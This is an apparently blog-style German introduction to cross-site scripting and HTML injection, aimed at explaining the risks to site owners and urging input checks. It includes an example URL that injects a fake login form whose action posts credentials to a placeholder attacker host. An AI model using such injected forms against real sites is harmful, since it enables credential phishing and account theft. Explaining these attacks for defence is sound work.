Kategorie: CrossSiteScripting

XSS: HTML Injection

Quickie: Man kann einer URL beliebigen HTML code anhängen, welcher ausgeführt wird, wenn HTML Injection nicht abgefangen wird.

Wie in der Einführung über Cross-Site Scripting gelesen, handelt es sich meistens um schadenden JavaScript Code. Es kann aber auch mit normalem HTML geschehen, etwa, wenn man ein Formular in ein ‚iframe‘ einbettet und anschliessend die Benutzerdaten ausliest.

Der Schutz geht wieder dahin, die übermittelten Daten genauestens zu prüfen.

Hier ein Beispiel, wie dies ablaufen könnte:

  1. Ein Angreifer entdeckt, dass Ihre Seite HTML Injection zulässt.
  2. Er erstellt einen Link inklusive seinem schadenden HTML-Code und sendet den Link Ihnen in einem Email zu.
  1. Sie sind neugierig, klicken auf den Link und der HTML Code wird gerendert. Dieser bittet Sie auf, Ihren Benutzernamen und das Passwort einzugeben.
  2. Sie geben es ein, im Glaube, es ist eine vertrauenswürdige Homepage, doch stattdessen wird es an den Server des Angreifers geschickt.

Ja, genau: Das bedeutet, in einem Link kann man HTML Code anhängen! Etwa Text oder ein ganzes Login-Formular.

Beispiel:
http ://www.test.com/test.php?name=<h3>Bitte Benutzername eingeben:</h3><form method=“POST“
action=“http ://hackerseite/page.php“>Username: <input type=“text“ name=“username“ /><input type=“submit“ value=“Login“ /></form>

So wird in der angezeigten Seite ein Login Formular gerendert, wenn dieses nicht abgefangen wird. Wenn Sie sich die URL nicht genau angesehen haben, werden Sie nicht merken, dass dies von einem Angreifer eingefügt wurde.

Aus diesem Grund müssen HTML Injections immer abgefangen werden, da ein Angreifer Ihre Seite beliebig manipulieren kann.

Einführung in Cross-Site Scripting (XSS)

Quickie: Einfügen eines <script> Elements mit Schadcode drin, etwa in ein Formular oder URL-Parameter

Zum Thema gehören folgende Artikel:
XSS HTML Injection

Cros-Site Scripting ist bereits seit den Neunzigerjahren bekannt. Damals wurde hauptsächlich mit Javascript-Code Daten von ausserhalb geladen und ausgeführt. So konnte ein Angreifer etwa die Session des aktuellen Benutzers für seine eigenen Zwecke verwenden.

Typischerweise erwartet eine Webapplikation eine bestimmte Eingabe und erhält stattdessen aber einen Angriff, etwa in Form eines <script> Elements. Ein <script> Element kann dabei einen Skript enthalten, etwa in Javascript, welches client-seitig ausgeführt wird. Dies sollte natürlich so gut wie möglich verhindert werden.

Das heisst, wenn die Eingaben auf einer Seite nicht geprüft beziehungsweise geschützt werden, kann ein Angreifer beliebigen JavaScript Code client-seitig ausführen! Normalerweise schützt ein Browser den Benutzer nicht automatisch gegen solch eine Attacke.

Sowohl die Inputvalidierung sowie auch das Output-Escaping werden von Browsern unzureichend ausgeführt. Theoretisch können verschiedene Skriptsprachen dafür verwendet werden, etwa Microsofts VBScript, meistens wird aber JavaScript verwendet, da es dem Angreifer viele Möglichkeiten bietet.

Wichtig zu wissen ist auch, dass JavaScript Zugriff auf das Document Object Model (DOM) einer Webseite hat. HTML oder XML etwa sind als Baumstruktur abbildbar mit dem Knoten (node) als zentralen Objekt.

‚p‘ Tag und ‚class‘ Attribut als Knoten:
<p class=“hallo“>Hallo</p>

Mit den Methoden „getElementById“ oder „getElementsByName“ kann ein Angreifer auf Elemente innerhalb der Webseite zugreifen.

Angriffsschnittstellen sind: Ein Formular, URL-Parameter oder eine Möglichkeit, eine Datei hochzuladen. Ebenfalls möglich ist es, den Schadcode in ein Bild-Tag, genauer gesagt in das „src“ Attributs zu packen.

Fügt der Angreifer ein <script> Element ein, welches anschliessend zum Sender geschickt wird, kann er so Daten von Ihnen in seiner Datenbank speichern.

Dies Artikel dient als kurze Einführung in das Thema Cross-Site Scripting. Weitere Informationen dazu folgen in weiteren Blogposts.